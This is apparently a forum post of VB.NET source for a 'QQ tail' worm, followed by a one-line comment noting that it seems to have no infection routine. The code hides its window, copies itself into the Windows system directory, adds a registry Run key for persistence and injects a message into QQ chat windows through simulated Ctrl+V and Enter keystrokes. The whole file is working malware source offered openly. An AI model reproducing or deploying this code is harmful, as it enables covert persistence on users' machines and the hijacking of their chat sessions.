Public Class QQWB
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
    Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
    Dim h As Long
    Dim i, j, k As String
    Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.AutoReset = True
        Me.Finalize() '隐藏窗体
        copy() '程序一运行,首先复制自身到系统目录
        regedit()'然后在写入注册表启动项
    End Sub
    Private Sub Timer1_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles Timer1.Elapsed '加如一个TIMER控件，并设置每隔3秒发生一次
        '监视进程
         qqmsg()
    End Sub
    Private Sub regedit() '写入注册表,closeQQ.exe是程序的名称
        If My.Computer.Registry.GetValue               ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
         "QQ", Nothing) Is Nothing Then
           My.Computer.Registry.SetValue （"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", _
             "QQ", System.Environment.SystemDirectory & "\closeQQ.exe")
         End If
    End Sub
Private Sub copy() '复制自身到系统目录
    If IO.File.Exists(System.Environment.SystemDirectory & "\closeQQ.exe") Then '先判断系统目录下此文件只否存在
        Else
   My.Computer.FileSystem.CopyFile(My.Application.Info.DirectoryPath & "\" & My.Application.Info.AssemblyName & ".exe", System.Environment.SystemDirectory & "\closeQQ.exe")
        End If
     
    End Sub

       Private Sub qqmsg()
        Try
            Dim h As Long

            h = GetForegroundWindow()
            i = Space(256)
            GetWindowText(h, i, 255)
            If Microsoft.VisualBasic.Left(i, 1) = "与" Then '判断是否是聊天窗口
                j = Space(256)
                j = i
                mer()
            End If
        Catch ex As Exception
            MsgBox(ex.ToString)
        End Try

    End Sub
    Private Sub mer()
        Const KEYEVENTF_KEYUP = &H2
        If k <> j Then
            Clipboard.Clear()
            Clipboard.SetText("恭喜你,高中了QQ尾巴病毒!")
            keybd_event(&H11, 0, 0, 0)
            keybd_event(86, 0, 0, 0)
            keybd_event(86, 0, KEYEVENTF_KEYUP, 0)
            keybd_event(&H11, 0, KEYEVENTF_KEYUP, 0)
            keybd_event(13, 0, 0, 0)
            keybd_event(13, 0, KEYEVENTF_KEYUP, 0)
            keybd_event(&H11, 0, 0, 0)
            keybd_event(13, 0, 0, 0)
            keybd_event(13, 0, KEYEVENTF_KEYUP, 0)
            keybd_event(&H11, 0, KEYEVENTF_KEYUP, 0)
            k = Space(256)
            k = j
        End If
    End Sub
End Class

顶起。。貌似没有 感染 的 部分。。。。